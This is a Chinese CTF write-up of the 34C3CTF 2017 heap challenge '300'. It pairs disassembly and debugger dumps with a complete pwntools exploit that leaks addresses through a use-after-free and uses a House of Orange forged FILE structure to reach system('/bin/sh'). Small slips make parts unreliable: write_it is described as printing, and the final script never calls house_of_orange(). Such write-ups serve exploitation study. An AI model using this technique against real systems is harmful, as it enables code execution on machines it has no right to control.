6.1.26 pwn 34C3CTF2017 300

    64 位程序 ,开启了 canary、NX 和 PIE,默认开启 ASLR。

    在 Ubuntu16.10 上玩一下:

    1. 2) write
    2. 3) print
    3. 4) free
    4. 1 <-- alloc 1
    5. slot? (0-9)
    6. 1
    7. 1) alloc
    8. 2) write
    9. 3) print
    10. 4) free
    11. 2
    12. slot? (0-9)
    13. 1 <-- write 1
    14. AAAAAAAAAAAAAAAA
    15. 1) alloc
    16. 2) write
    17. 3) print
    18. 4) free
    19. 4 <-- free 1
    20. slot? (0-9)
    21. 1
    22. 1) alloc
    23. 2) write
    24. 3) print
    25. 4) free
    26. 2 <-- write 1
    27. slot? (0-9)
    28. 1
    29. BBBBBBBB
    30. 1) alloc
    31. 2) write
    32. 3) print
    33. 4) free
    34. 3 <-- print 1
    35. slot? (0-9)
    36. 1
    37. BBBBBBBB
    38. AAAAAAA
    39. 1) alloc
    40. 2) write
    41. 3) print
    42. 4) free
    43. 3 <-- print 2
    44. slot? (0-9)
    45. 2
    46. Segmentation fault (core dumped)

    很清晰的 4 个功能:alloc、write、print 和 free。通过尝试似乎就发现了问题,free 的时候没有将指针置空,导致 UAF。读入的字符串末尾没有加 \x00 导致信息泄露。最后如果 print 一个还没有 alloc 的 slot,则出现段错误。

    1. [0x00000790]> pdf @ main
    2. / (fcn) main 180
    3. | main ();
    4. | ; var int local_20h @ rbp-0x20
    5. | ; var int local_14h @ rbp-0x14
    6. | ; var int local_8h @ rbp-0x8
    7. | ; var int local_4h @ rbp-0x4
    8. | ; DATA XREF from 0x000007ad (entry0)
    9. | 0x00000a91 push rbp
    10. | 0x00000a92 mov rbp, rsp
    11. | 0x00000a95 sub rsp, 0x20
    12. | 0x00000a99 mov dword [local_14h], edi
    13. | 0x00000a9c mov qword [local_20h], rsi
    14. | ; CODE XREF from 0x00000b40 (main)
    15. | .-> 0x00000aa0 mov eax, 0
    16. | : 0x00000aa5 call sym.menu
    17. | : 0x00000aaa mov eax, 0
    18. | : 0x00000aaf call sym.read_int ; ssize_t read(int fildes, void *buf, size_t nbyte)
    19. | : 0x00000ab4 mov dword [local_8h], eax
    20. | : 0x00000ab7 lea rdi, str.slot___0_9 ; 0xbfe ; "slot? (0-9)"
    21. | : 0x00000abe call sym.myputs
    22. | : 0x00000ac3 mov eax, 0
    23. | : 0x00000ac8 call sym.read_int ; 读入 slot
    24. | : 0x00000acd mov dword [local_4h], eax ; slot 放到 [local_4h]
    25. | : 0x00000ad0 cmp dword [local_4h], 0
    26. | ,==< 0x00000ad4 js 0xadc ; slot 小于 0 时跳转,程序退出
    27. | |: 0x00000ad6 cmp dword [local_4h], 9 ; [0x9:4]=0
    28. | ,===< 0x00000ada jle 0xae6 ; slot 小于等于 9 时跳转
    29. | ||: ; CODE XREF from 0x00000ad4 (main)
    30. | |`--> 0x00000adc mov edi, 0
    31. | | : 0x00000ae1 call sym.imp.exit ; void exit(int status)
    32. | | : ; CODE XREF from 0x00000ada (main)
    33. | `---> 0x00000ae6 mov eax, dword [local_8h]
    34. | : 0x00000ae9 cmp eax, 2
    35. | ,==< 0x00000aec je 0xb12 ; write
    36. | |: 0x00000aee cmp eax, 2
    37. | ,===< 0x00000af1 jg 0xafa
    38. | ||: 0x00000af3 cmp eax, 1
    39. | ,====< 0x00000af6 je 0xb06 ; alloc
    40. | ,=====< 0x00000af8 jmp 0xb36
    41. | ||||: ; CODE XREF from 0x00000af1 (main)
    42. | ||`---> 0x00000afa cmp eax, 3
    43. | ||,===< 0x00000afd je 0xb1e ; print
    44. | ||||: 0x00000aff cmp eax, 4
    45. | ,======< 0x00000b02 je 0xb2a ; free
    46. | ,=======< 0x00000b04 jmp 0xb36
    47. | ||||||: ; CODE XREF from 0x00000af6 (main)
    48. | |||`----> 0x00000b06 mov eax, dword [local_4h] ; 取出 slot
    49. | ||| ||: 0x00000b09 mov edi, eax
    50. | ||| ||: 0x00000b0b call sym.alloc_it ; 调用函数 alloc_it(slot)
    51. | |||,====< 0x00000b10 jmp 0xb40
    52. | ||||||: ; CODE XREF from 0x00000aec (main)
    53. | |||||`--> 0x00000b12 mov eax, dword [local_4h] ; 取出 slot
    54. | ||||| : 0x00000b15 mov edi, eax
    55. | ||||| : 0x00000b17 call sym.write_it ; 调用函数 write_it(slot)
    56. | |||||,==< 0x00000b1c jmp 0xb40
    57. | ||||||: ; CODE XREF from 0x00000afd (main)
    58. | ||||`---> 0x00000b1e mov eax, dword [local_4h] ; 取出 slot
    59. | |||| |: 0x00000b21 mov edi, eax
    60. | |||| |: 0x00000b23 call sym.print_it ; 调用函数 print_it(slot)
    61. | ||||,===< 0x00000b28 jmp 0xb40
    62. | |`------> 0x00000b2a mov eax, dword [local_4h] ; 取出 slot
    63. | | ||||: 0x00000b2d mov edi, eax
    64. | | ||||: 0x00000b2f call sym.free_it ; 调用函数 free_it(slot)
    65. | |,======< 0x00000b34 jmp 0xb40
    66. | ||||||: ; CODE XREF from 0x00000b04 (main)
    67. | ||||||: ; CODE XREF from 0x00000b03 (main)
    68. | ||||||: ; CODE XREF from 0x00000af8 (main)
    69. | `-`-----> 0x00000b36 mov edi, 0
    70. | | |||: 0x00000b3b call sym.imp.exit ; void exit(int status)
    71. | | |||| ; CODE XREF from 0x00000b28 (main)
    72. | | |||| ; CODE XREF from 0x00000b34 (main)
    73. | | |||| ; CODE XREF from 0x00000b1c (main)
    74. | | |||| ; CODE XREF from 0x00000b10 (main)
    75. \ `-````=< 0x00000b40 jmp 0xaa0

    从 main 函数中我们知道,程序的所有操作都是基于 slot。

    alloc

    1. / (fcn) sym.alloc_it 51
    2. | sym.alloc_it ();
    3. | ; var int local_4h @ rbp-0x4
    4. | ; CALL XREF from 0x00000b0b (main)
    5. | 0x000009ca push rbp
    6. | 0x000009cb mov rbp, rsp
    7. | 0x000009ce sub rsp, 0x10
    8. | 0x000009d2 mov dword [local_4h], edi ; slot 放到 [local_4h]
    9. | 0x000009d5 mov edi, 0x300
    10. | 0x000009da call sym.imp.malloc ; rax = malloc(0x300) 分配堆空间
    11. | 0x000009df mov rcx, rax
    12. | 0x000009e2 mov eax, dword [local_4h]
    13. | 0x000009e5 cdqe
    14. | 0x000009e7 lea rdx, [rax*8] ; rdx = slot * 8
    15. | 0x000009f6 mov qword [rdx + rax], rcx ; 将该空间的地址放到 [0x202040 + slot * 8]
    16. | 0x000009fa nop
    17. | 0x000009fb leave
    18. \ 0x000009fc ret
    19. [0x00000790]> px 0x8*10 @ obj.allocs
    20. - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
    21. 0x00202040 0000 0000 0000 0000 0000 0000 0000 0000 ................
    22. 0x00202050 0000 0000 0000 0000 0000 0000 0000 0000 ................
    23. 0x00202060 0000 0000 0000 0000 0000 0000 0000 0000 ................
    24. 0x00202070 0000 0000 0000 0000 0000 0000 0000 0000 ................
    25. 0x00202080 0000 0000 0000 0000 0000 0000 0000 0000 ................

    该函数固定分配 0x300 的空间,然后根据 slot 将返回地址放到从 0x202040 开始的数组 allocs 中。

    write

    1. [0x00000790]> pdf @ sym.write_it
    2. / (fcn) sym.write_it 56
    3. | sym.write_it ();
    4. | ; var int local_4h @ rbp-0x4
    5. | ; CALL XREF from 0x00000b17 (main)
    6. | 0x000009fd push rbp
    7. | 0x000009fe mov rbp, rsp
    8. | 0x00000a01 sub rsp, 0x10
    9. | 0x00000a05 mov dword [local_4h], edi ; slot 放到 [local_4h]
    10. | 0x00000a08 mov eax, dword [local_4h]
    11. | 0x00000a0b cdqe
    12. | 0x00000a0d lea rdx, [rax*8]
    13. | 0x00000a15 lea rax, obj.allocs ; 0x202040
    14. | 0x00000a1c mov rax, qword [rdx + rax] ; 取出 allocs[slot]
    15. | 0x00000a20 mov edx, 0x300
    16. | 0x00000a25 mov rsi, rax
    17. | 0x00000a28 mov edi, 0
    18. | 0x00000a2d call sym.imp.read ; read(0, allocs[slot], 0x300) 读入字符串
    19. | 0x00000a32 nop
    20. | 0x00000a33 leave
    21. \ 0x00000a34 ret

    该函数用于打印 slot 对应空间中的字符串。

    free

    1. [0x00000790]> pdf @ sym.free_it
    2. / (fcn) sym.free_it 46
    3. | sym.free_it ();
    4. | ; var int local_4h @ rbp-0x4
    5. | ; CALL XREF from 0x00000b2f (main)
    6. | 0x00000a63 push rbp
    7. | 0x00000a64 mov rbp, rsp
    8. | 0x00000a67 sub rsp, 0x10
    9. | 0x00000a6b mov dword [local_4h], edi ; slot 放到 [local_4h]
    10. | 0x00000a6e mov eax, dword [local_4h]
    11. | 0x00000a71 cdqe
    12. | 0x00000a73 lea rdx, [rax*8]
    13. | 0x00000a7b lea rax, obj.allocs ; 0x202040
    14. | 0x00000a82 mov rax, qword [rdx + rax] ; 取出 allocs[slot]
    15. | 0x00000a86 mov rdi, rax
    16. | 0x00000a89 call sym.imp.free ; free(allocs[slot]) 释放空间
    17. | 0x00000a8e nop
    18. | 0x00000a8f leave
    19. \ 0x00000a90 ret

    该函数用于释放 slot 对应的空间,但是却没有将 allocs[slot] 指针置空,导致 UAF,或者 double-free。

    从上面我们可以看到,程序的各项操作都基于 slot,对 allocs[slot] 指向的内存空间进行操作,但没有对 allocs[slot] 是否为空,或者其指向的内存是否为被释放的状态,都没有做任何检查,这也是之前发生段错误的原因。

    leak

    1. def leak():
    2. global libc_base
    3. global heap_addr
    4. alloc(0)
    5. alloc(1)
    6. alloc(2)
    7. alloc(3)
    8. alloc(4)
    9. free(1)
    10. free(3)
    11. printt(1)
    12. libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58
    13. printt(3)
    14. heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310
    15. log.info("libc_base address: 0x%x" % libc_base)
    16. log.info("heap address: 0x%x" % heap_addr)

    首先利用 unsorted bin 可以泄露出 libc 和 heap 的地址。分配 5 个 chunk 的原因是为了避免 \x00 截断(heap 基地址的低位 0x00)。然后释放掉 1 和 3 即可。

    1. gef x/10gx &allocs
    2. 0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
    3. 0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
    4. 0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000000000000000
    5. 0x555555756070 <allocs+48>: 0x0000000000000000 0x0000000000000000
    6. 0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
    7. gef x/6gx 0x0000555555757320-0x10
    8. 0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 1
    9. 0x555555757320: 0x00007ffff7dd1b58 0x0000555555757930
    10. 0x555555757330: 0x0000000000000000 0x0000000000000000
    11. gef x/6gx 0x0000555555757940-0x10
    12. 0x555555757930: 0x0000000000000000 0x0000000000000311 <-- slot 3
    13. 0x555555757940: 0x0000555555757310 0x00007ffff7dd1b58
    14. 0x555555757950: 0x0000000000000000 0x0000000000000000
    1. def house_of_orange():
    2. io_list_all = libc_base + libc.symbols['_IO_list_all']
    3. system_addr = libc_base + libc.symbols['system']
    4. bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
    5. io_wstr_finish = libc_base + 0x3bdc90
    6. fake_chunk = heap_addr + 0x310 * 4 + 0x20
    7. fake_chunk_bk = heap_addr + 0x310 * 3
    8. log.info("_IO_list_all address: 0x%x" % io_list_all)
    9. log.info("system address: 0x%x" % system_addr)
    10. log.info("/bin/sh address: 0x%x" % bin_sh_addr)
    11. log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish)
    12. stream = p64(0) + p64(0x61) # fake header # fp
    13. stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer
    14. stream += p64(0) # fp->_IO_write_base
    15. stream += p64(0xffffffff) # fp->_IO_write_ptr
    16. stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base
    17. stream = stream.ljust(0x74, '\x00')
    18. stream += p64(0) # fp->_flags2
    19. stream = stream.ljust(0xa0, '\x00')
    20. stream += p64(fake_chunk) # fp->_wide_data
    21. stream = stream.ljust(0xc0, '\x00')
    22. stream += p64(0) # fp->_mode
    23. payload = "A" * 0x10
    24. payload += stream
    25. payload += p64(0) * 2
    26. payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8
    27. payload += p64(0)
    28. payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer
    29. write(4, payload)
    30. payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk
    31. write(1, payload)
    32. alloc(5)
    33. alloc(6) # put fake chunk in smallbins[5]
    34. free(5) # put a chunk in unsorted bin
    35. write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer
    36. alloc(5) # unsorted bin attack

    这一步就比较复杂了。因为程序只允许分配 0x300 大小的 chunk,而我们知道 house-of-orange 需要大小为 0x60 的 chunk(放入 smallbins[5])。由于我们可以具有修改 free chunk 的能力,所以可以修改 unsorted bin 里 chunk 的 bk 指针指向伪造的 fake chunk,以将其链接到 unsorted bin 中。接下来的第一次 malloc 将修改 unsorted_bin->TAIL->bk 将指向 fake chunk,而第二次 malloc 的时候,由于大小不合适,fake chunk 就会被整理回 smallbins[5]:

    值得注意的是 fp->_wide_data 指向了 fake chunk,所以就相当于我们复用了这一块空间,fp->_IO_write_end 的地方也是就是 fp->wide_data->buf_base

    接下来利用 unsorted bin attack 修改 指向 &unsorted_bin-0x10,而偏移 0x60 的地方就是 _IO_list_all->_chain,即 smallbins[5],指向了 fake chunk。

    1. gef x/10gx &allocs
    2. 0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
    3. 0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
    4. 0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000555555757320
    5. 0x555555756070 <allocs+48>: 0x0000555555757940 0x0000000000000000
    6. 0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
    7. gef x/6gx 0x0000555555757320-0x10
    8. 0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 5
    9. 0x555555757320: 0x0000000000000000 0x00007ffff7dd24f0 <-- bk points to _IO_list_all-0x10
    10. 0x555555757330: 0x000000000000000a 0x0000000000000000
    11. gef x/4gx 0x00007ffff7dd24f0
    12. 0x7ffff7dd24f0: 0x0000000000000000 0x0000000000000000
    13. 0x7ffff7dd2500 <_IO_list_all>: 0x00007ffff7dd1b58 0x0000000000000000
    14. gef x/14gx 0x00007ffff7dd1b58
    15. 0x7ffff7dd1b58: 0x0000555555757f50 0x0000000000000000 <-- &unsorted_bin-0x10
    16. 0x7ffff7dd1b68: 0x0000555555757310 0x00007ffff7dd24f0 <-- unsorted bin
    17. 0x7ffff7dd1b78: 0x00007ffff7dd1b68 0x00007ffff7dd1b68
    18. 0x7ffff7dd1b88: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
    19. 0x7ffff7dd1b98: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
    20. 0x7ffff7dd1ba8: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
    21. 0x7ffff7dd1bb8: 0x0000555555757c60 0x0000555555757c60 <-- smallbins[5]

    pwn

    1. def pwn():
    2. alloc(5) # abort routine
    3. io.interactive()

    最后触发异常处理,malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_finish,获得 shell。

    开启 ASLR,Bingo!!!

    1. $ python exp.py
    2. [+] Starting local process './300': pid 5158
    3. [*] libc_base address: 0x7efdcef24000
    4. [*] heap address: 0x5624a7a3c000
    5. [*] _IO_list_all address: 0x7efdcf2e6500
    6. [*] system address: 0x7efdcef696a0
    7. [*] /bin/sh address: 0x7efdcf0aec40
    8. [*] _IO_wstr_finish address: 0x7efdcf2e1c90
    9. [*] Switching to interactive mode
    10. *** Error in `./300': malloc(): memory corruption: 0x00007efdcf2e6500 ***
    11. ======= Backtrace: =========
    12. $ whoami
    13. firmy

    exploit

    完整的 exp 如下:

    1. #!/usr/bin/env python
    2. from pwn import *
    3. #context.log_level = 'debug'
    4. io = process(['./300'], env={'LD_PRELOAD':'./libc-2.24.so'})
    5. libc = ELF('libc-2.24.so')
    6. def alloc(idx):
    7. io.sendlineafter("free\n", '1')
    8. io.sendlineafter("(0-9)\n", str(idx))
    9. def write(idx, data):
    10. io.sendlineafter("free\n", '2')
    11. io.sendlineafter("(0-9)\n", str(idx))
    12. io.sendline(data)
    13. def printt(idx):
    14. io.sendlineafter("free\n", '3')
    15. io.sendlineafter("(0-9)\n", str(idx))
    16. def free(idx):
    17. io.sendlineafter("free\n", '4')
    18. io.sendlineafter("(0-9)\n", str(idx))
    19. def leak():
    20. global libc_base
    21. global heap_addr
    22. alloc(0)
    23. alloc(1)
    24. alloc(2)
    25. alloc(3)
    26. alloc(4)
    27. free(1)
    28. free(3)
    29. printt(1)
    30. libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58
    31. printt(3)
    32. heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310
    33. log.info("libc_base address: 0x%x" % libc_base)
    34. log.info("heap address: 0x%x" % heap_addr)
    35. def house_of_orange():
    36. io_list_all = libc_base + libc.symbols['_IO_list_all']
    37. system_addr = libc_base + libc.symbols['system']
    38. bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
    39. io_wstr_finish = libc_base + 0x3bdc90
    40. fake_chunk = heap_addr + 0x310 * 4 + 0x20
    41. fake_chunk_bk = heap_addr + 0x310 * 3
    42. log.info("_IO_list_all address: 0x%x" % io_list_all)
    43. log.info("system address: 0x%x" % system_addr)
    44. log.info("/bin/sh address: 0x%x" % bin_sh_addr)
    45. log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish)
    46. stream = p64(0) + p64(0x61) # fake header # fp
    47. stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer
    48. stream += p64(0) # fp->_IO_write_base
    49. stream += p64(0xffffffff) # fp->_IO_write_ptr
    50. stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base
    51. stream = stream.ljust(0x74, '\x00')
    52. stream += p64(0) # fp->_flags2
    53. stream = stream.ljust(0xa0, '\x00')
    54. stream += p64(fake_chunk) # fp->_wide_data
    55. stream = stream.ljust(0xc0, '\x00')
    56. stream += p64(0) # fp->_mode
    57. payload = "A" * 0x10
    58. payload += stream
    59. payload += p64(0) * 2
    60. payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8
    61. payload += p64(0)
    62. payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer
    63. write(4, payload)
    64. payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk
    65. write(1, payload)
    66. alloc(5)
    67. alloc(6) # put fake chunk in smallbins[5]
    68. free(5) # put a chunk in unsorted bin
    69. write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer
    70. alloc(5) # unsorted bin attack
    71. def pwn():
    72. alloc(5) # abort routine
    73. io.interactive()
    74. if __name__ == '__main__':
    75. leak()
    76. pwn()